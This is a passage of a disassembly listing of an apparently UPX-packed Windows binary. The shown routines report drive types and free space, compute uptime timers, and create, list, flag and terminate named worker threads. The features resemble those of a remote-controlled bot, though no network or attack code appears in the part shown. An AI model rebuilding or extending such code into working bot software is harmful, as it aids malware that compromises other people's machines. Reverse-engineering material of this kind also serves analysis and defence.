		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, ds:dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	ds:dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: UPX0:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	ds:dword_41E3A0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	ds:dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_41E3A0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	ds:dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, ds:dword_41E3A0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	ds:dword_4170D0	; GetTickCount
		sub	eax, ds:dword_41E3A0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: UPX0:004168C6p
		push	ebp
		mov	ebp, esp
		and	ds:dword_41E3C0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	ds:dword_41E3C8, eax
		push	offset dword_41E3A8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	ds:dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	ds:dword_41DF08, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	ds:dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, ds:byte_41DF00
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	ds:dword_41E3C0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, ds:dword_41E3C0
		inc	eax
		mov	ds:dword_41E3C0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, ds:dword_41E3C0
		dec	eax
		mov	ds:dword_41E3C0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, ds:dword_41E3C0
		dec	eax
		mov	ds:dword_41E3C0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, ds:dword_41E3C0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, ds:dword_41E3C0
		dec	eax
		mov	ds:dword_41E3C0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, ds:dword_41E3C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	ds:dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E3A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E3A8
		call	sub_409C6C
		pop	ecx
		mov	eax, ds:dword_41E3C0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


